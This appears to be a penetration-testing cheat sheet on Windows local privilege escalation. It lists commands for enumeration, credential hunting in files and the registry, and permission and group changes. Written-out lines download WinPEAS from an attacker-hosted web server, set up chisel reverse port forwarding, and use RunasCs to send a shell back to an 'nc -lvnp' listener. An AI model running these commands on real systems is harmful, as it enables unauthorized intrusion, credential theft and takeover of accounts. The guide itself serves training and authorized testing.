Windows Privilege Escalation

Last modified: 2023-08-24

Active Directory Privilege Escalation Windows

Privilege Escalation (PrivEsc) in Windows is a process that get the Administrator credential and login.


WinPEAS scans the Local Privilege Escalation vulnerabilities on Windows machine automatically.

1. Download WinPEAS on Your Local Machine


Start web server to allow the target machine to get the WinPEAS.

python3 -m http.server 8000

2. Transfer WinPEAS using PowerShell on the Target Machine

cd \Users\<user-name>\Desktop

Invoke-WebRequest -Uri http://<your-local-ip>:8000/winPEAS.bat -OutFile .\winPEAS.bat
# or
curl http://<your-local-ip>:8000/winPEAS.bat -o .\winPEAS.bat

3. Execute WinPEAS



LOLBAS provides misuses tools and executables already in the Windows system. So check the web page.

OS Information

systeminfo | findstr "OS"

# Current user
whoami /user
whoami /groups
whoami /priv
whoami /all
echo %username%

# List users and groups
net user
net users
net user USERNAME
net group
net localgroup
# List users in specific group
net localgroup "Remote Management Users"

# Network
ipconfig /all
route print
arp -A

# Firewall
netsh firewall show state
netsh firewall show config
netsh advfirewall show allprofiles

Find OS Vulnerabilities

After investigating the OS information, find the vulnerabilities of OS version.

Recent Files

  1. Right-click on the Windows icon.
  2. Click the “Run”.
  3. Type “recent” in the search form.

Running Services

Using the Windows Management Instrumentation command-line (WMIC) mainly.

wmic service list
wmic service list | findstr "Backup"

# Get target process info
wmic process get processid,parentprocessid,executablepath | find "<process-id>"
# Get users SID
wmic useraccount get name,sid
# Launch the hidden executable hiding within ADS
wmic process call create $(Resolve-Path .\file.exe:streamname)

# Processes and services
sc query state=all
tasklist /svc

# Query the configuration info for a specified service
sc qc "Development Service"


Web Browser History (Internet Explorer)

  1. Open Internet Explorer, click on the star icon.
  2. Select History tab.

Web Browser History (Chrome)

  1. Click on Kebab menu icon at the top-right and click History.

Command History in PowerShell Console

type c:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

VSS (Volume Shadow Copy Service)

VSS coordinates the actions that are required to create a consistent a shadow copy (also known as a snapshot or a point-in-time copy) of the data that is to be backed up.

vssadmin list shadows
vssadmin list volumes

Sensitive Information

# /s: Searches the current directory and all subdirectories.
# /i: Ignores the case of the characters.
findstr /si password *.txt *.xml *.ini
findstr /si password c:\Users\Administrator\*.txt
findstr /si cred *.txt *.xml *.ini
findstr /si cred c:\Users\Administrator\*.txt

# /p: Skips files with non-printable characters.
# /n: Prints the line number of each line that matches.
findstr /spin "password" *.*
findstr /spin "password" c:\Users\Administrator\*

# ListList files
# /a: Displays only the names of those directories and files.
dir /a \Users\Administrator\Desktop
# /s: Lists every oncurrece of the specified file name within the specified directory and all subdirectories.
dir /s *pass* == *cred* == *vnc* == *.config*
# /q: Displays the ownership information.
dir /q \Users\Administrator\Desktop

# Website folder
dir c:\inetpub\

# SQL server
dir c:\SQLServer\Logs
type c:\SQLServer\Logs\ERRORLOG.BAK

# Get contents of file
more .\example.txt
type .\example.txt

# Registry subkey information
# query: Returns a list of the next tier of subkeys and entries that are located under a specified subkey in the registry
# /f: Specifies the data or pattern to search for.
# /t: Specifies registry types to search.
# /s: Specifies to query all subkeys and value names recursively.
reg query HKLM /f password /t REG_SZ /s

# Check Recycle.bin and SID Folder
dir -Force \'$Recycle.Bin'

# ManageEngine (this service has many vulnerabilities)
dir -Force \'Program Files (x86)'\ManageEngine\

Find Interesting Files

PS> Get-ChildItem -Path c:\\ -Filter "*.txt" -Recurse 2>$null
# Directories
PS> Get-ChildItem -Path c:\\ -Directory -Filter "Example" -Recurse 2>$null

Collect Emails

Reference: Atomic Rea Team

We can collect the information about emails such as Outlook on the following directories.

C:\Users\<username>\Documents\Outlook Files

Open Ports

netstat -a

If we found the listening ports, we need to port forwarding to access the port in local machine.
For example, assume the port 8000 is listening. We can access to the target port 8000 by accessing to [http://localhost:8000](http://localhost:8000) in local by executing the following command.

# Remote (target) machine
chisel.exe client R:8000:

# Local (attacker) machine
chisel server --reverse -p 9999

Please refer to this page to check how to use Chisel for port forwarding.

Getting All Local Users/Groups

We can find all local users in Computer Management utility. To open, enter "computer management" in search form at the bottom of the windows screen.

In Computer Management, click "Local Users and Groups".

Enumerate Users

  1. Click "Users".
  2. Double-click each user to get details e.g. "Member Of".

Enumerate Groups

  1. Click "Groups".
  2. Double-click each group.
  3. Attempt to add new user in the group because we might be able to do that even if we are not an administrator.

Change File Permission

  1. Right-click on the file.
  2. Select the Properties.
  3. Click the Security tab.
  4. Click “Advanced”.
  5. In the Permissions tab, click the “Add”.
  6. Click “Select a principal”.
  7. Enter the username in the text field.
  8. Click OK and Apply.

Also we can change permissions in CommandPrompt or PowerShell.

icacls 'C:\Path\to\file' /grant Users:F
icacls 'C:\Path\to\file' /grant Everyone:F

Change User/Group Permission

# Change user's password

# Add new user

# Add user to group
net localgroup Administrators USERNAME /add
net localgroup "Remote Managment Users" USERNAME /add   # For WinRM
net localgroup "Remote Desktop Users" USERNAME /add     # For RDP

# Delete users from specific group
net localgroup "Remote Management Users" USERNAME /delete

If we could change the permission, connect to the target via WinRM or RDP.

Take Ownership of a File (Administrators Group Required)

# Check if the current user belongs to the Administrators group. 
net user USERNAME

# Move to the directory containing the desired file
cd \Users\Administrator\Desktop

# Enable an administrator to recover access to a file.
# /R: recursive operation
# /F: specify the filename
takeown /r /f *.*

# Modify dictionary access control lists on specified files
# /q: suppress success message
# /c: continue the operation despite any file errors
# /t: perform the operation on all specified files
# /grant: grant specified user access rights
icacls "example.txt" /q /c /t /grant Users:F

Switch Another User

runas /user:<domain>\<username> cmd

Spawn Another Session as Another User

If we cannot switch user due to such as reverse shell sessions, we can spawn another shell as another user by using RunasCS.

First, start a listener in local machine.

nc -lvnp 4444

Then execute the following command in target machine.
Replace username and password with the credential of the user that we want to switch to.

RunasCs.exe username password cmd -r

Event Logs

  • Event Viewer
  • FullEventLogview


  • Task Schedular


Tools that offer technical resources and utilities to manage, diagnose, troubleshoot, and monitor a Microsoft Windows environment.

# Autoruns
# It shows what programs are configured to run during system bootup or login.

# Process Explorer
# A freeware task manager and system monitor.

# Process Monitor
# It monitors and displays in real-time all file system activity.

# Strings
# It is same as the Linux “strings” command.
strings.exe example.exe | findstr "sometext"
strings64.exe example.exe | findstr "sometext"